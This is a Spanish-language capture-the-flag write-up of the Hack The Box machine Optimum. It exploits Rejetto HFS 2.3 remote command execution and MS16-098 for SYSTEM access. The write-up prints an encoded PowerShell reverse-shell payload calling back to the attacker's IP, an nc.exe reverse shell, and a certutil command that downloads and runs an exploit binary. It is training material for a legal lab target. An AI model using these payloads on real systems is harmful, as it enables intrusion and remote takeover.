Optimum es una máquina de nivel principiante que se centra principalmente en la enumeración de servicios con exploits conocidos. Ambos exploits son fáciles de obtener y tienen módulos Metasploit asociados, lo que hace que esta máquina sea bastante sencilla de completar.
Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Optimum. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.8 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 19:25 CET
Nmap scan report for 10.10.10.8
Host is up (0.037s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 101.80 seconds
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.8
[*] Open ports: 80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos.
❯ nmap -sCV -p80 10.10.10.8 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 19:28 CET
Nmap scan report for 10.10.10.8
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2008|7 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (97%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 59.75 ms 10.10.16.1
2 92.11 ms 10.10.10.8
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.54 seconds
Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Accederemos a http://10.10:10.8 y comprobaremos que se trata de HttpFileServer 2.3.
HTTP File Server es una herramienta simple que le permite acceder a los archivos de su teléfono desde una computadora de escritorio, tableta u otros dispositivos sin ningún software especial, solo un navegador web. Alternativamente, también actúa como un servidor WebDAV y cualquier cliente WebDAV puede acceder a él.
A través de la herramienta de searchsploit, buscaremos vulnerabilidades sobre esta versión de HFS. Nos encontramos con varias vulnerabilidades que nos permitirían ejecutar comandos arbitrarios en el equipo víctima.
Nos quedaremos con el exploit de windows/remote/49584.py, el cual copiaremos al directorio actual.
Editaremos el archivo e indicaremos nuestra dirección IP, el puerto donde estaremos en escucha. También deberemos informar el equipo víctima y el puerto donde está levantado el HFS.
Ejecutaremos el exploit, y comprobaremos que ganamos acceso al equipo víctima sin problemas.
❯ python3 49584.py
Encoded the command in base64 format...
Encoded the payload and sent a HTTP GET request to the target...
Printing some information for debugging...
lhost: 10.10.16.5
lport: 443
rhost: 10.10.10.8
rport: 80
payload: exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAiACwANAA0ADMAKQA7ACAAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIABbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7ACAAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsADAALAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAgACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAJABpACkAOwAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABHAGUAdAAtAEwAbwBjAGEAdABpAG8AbgApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAIAAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACAAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACAAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACAAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Listening for connection...
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.8] 49158
PS C:\Users\kostas\Desktop> whoami
optimum\kostas
Por otro lado, también nos encontramos con el siguiente exploit que probaremos también si podemos abusar de él. Nos copiaremos el exploit de windows/remote/39161.py en nuestro directorio actual de trabajo.
❯ searchsploit -m windows/remote/39161.py
Exploit: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
URL: https://www.exploit-db.com/exploits/39161
Path: /usr/share/exploitdb/exploits/windows/remote/39161.py
Codes: CVE-2014-6287, OSVDB-111386
Verified: True
File Type: Python script, ASCII text executable, with very long lines (540)
Copied to: /home/kali/Desktop/HackTheBox/Windows/Normal/Optimum/Optimum/content/39161.py
Editaremos el exploit para indicar nuestra dirección IP de atacante y el puerto donde estaremos en escucha.
Para que funcione el exploit, deberemos de disponer del binario de nc.exe en nuestro equipo. Esto debido que el exploit lo que realiza es subir nuestro binario al equipo víctima y luego proporcionarnos una Reverse Shell.
Compartiremos el binario a través de un servidor web.
❯ ls -l
.rwxr-xr-x kali kali 2.4 KB Sat Jan 25 19:41:39 2025 39161.py
.rwxr-xr-x kali kali 28 KB Sat Jan 25 19:45:45 2025 nc.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..
En otra terminal nos pondremos en escucha para recibir la Reverse Shell.
Verificaremos que ganamos acceso al equipo y podemos visualizar la flag de user.txt.
❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.8] 49191
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas
C:\Users\kostas\Desktop>type user.txt
type user.txt
fa8a2a0cb50*****************
Privilege Escalation
Using windows-exploit-suggester to find paths to PrivEsc
Revisaremos la información del equipo en el cual nos encontramos. Verificamos que se trata de un Windows Server 2012 R2 Standard.
C:\Users\kostas\Desktop>systeminfo
systeminfo
Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-70000-00000-AA535
Original Install Date: 18/3/2017, 1:51:36 ��
System Boot Time: 1/2/2025, 5:15:49 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.529 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 4.973 MB
Virtual Memory: In Use: 530 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \\OPTIMUM
Hotfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Nos copiaremos el contenido del systeminfo en nuestro equipo local en un archivo llamado systeminfo.txt.
A través de la herramienta de windows-exploit-suggester, buscaremos alguna vía potencial para escalar nuestros privilegios en base al systeminfoque le hemos indicado.
En el resultado obtenido, verificamos diferentes vulnerabilidades que se pueden realizar en el sistema.
❯ ls -l
.rw-rw-r-- kali kali 3.2 KB Sat Jan 25 19:47:52 2025 systeminfo.txt
❯ python2.7 /opt/windows-exploit-suggester/exploit -u
[*] initiating winsploit version 3.3...
[+] writing to file 2025-01-25-mssb.xls
[*] done
❯ python2.7 /opt/windows-exploit-suggester/exploit -d 2025-01-25-mssb.xls -i systeminfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*] https://github.com/foxglovesec/RottenPotato
[*] https://github.com/Kevin-Robertson/Tater
[*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*]
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*]
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*] https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*]
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*] https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*] https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*] https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*]
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*] https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*] https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*]
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*] Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*]
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*] https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*] https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*]
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*] https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*] https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*]
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*] https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*]
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*] https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*]
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*] https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*]
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*] https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*]
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*] https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*]
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*] https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*] http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*] http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*] http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*] http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done
Exploitation MS16-098 - [RGNOBJ] Integer Overflow
Revisando los exploits y vulnerabilidades que se nos proporcionaba, nos encontramos con la siguiente MS16-098.
Revisando el contenido, nos encontramos con el ID del exploit, 41020.
Buscaremos en el repositorio de ExploitDB sobre el binario del exploit. Buscaremos por el ID de la vulnerabilidad y nos descargaremos el binario que nos ofrecen.
Revisaremos que disponemos del binario en nuestro equipo, lo renombraremos y compartiremos a través de un servidor web.
❯ ls -l 41020.exe
.rw-rw-r-- kali kali 547 KB Sat Jan 25 19:53:00 2025 41020.exe
❯ mv 41020.exe privesc.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo víctima, nos descargaremos el binario para realizar la explotación.
C:\Temp>certutil.exe -f -urlcache -split http://10.10.16.5/privesc.exe C:\Temp\privesc.exe
certutil.exe -f -urlcache -split http://10.10.16.5/privesc.exe C:\Temp\privesc.exe
**** Online ****
000000 ...
088c00
CertUtil: -URLCache command completed successfully.
C:\Temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D
Directory of C:\Temp
01/02/2025 05:54 �� <DIR> .
01/02/2025 05:54 �� <DIR> ..
01/02/2025 05:54 �� 560.128 privesc.exe
1 File(s) 560.128 bytes
2 Dir(s) 5.672.898.560 bytes free
Una vez subido el binario, al ejecutarlo verificamos que nos hemos convertiro en usuario NT AUTHORITY\SYSTEM y visualizar la flag de root.txt.
C:\Temp>privesc.exe
privesc.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
whoami
nt authority\system
C:\Temp>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
14d342f16***********************
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
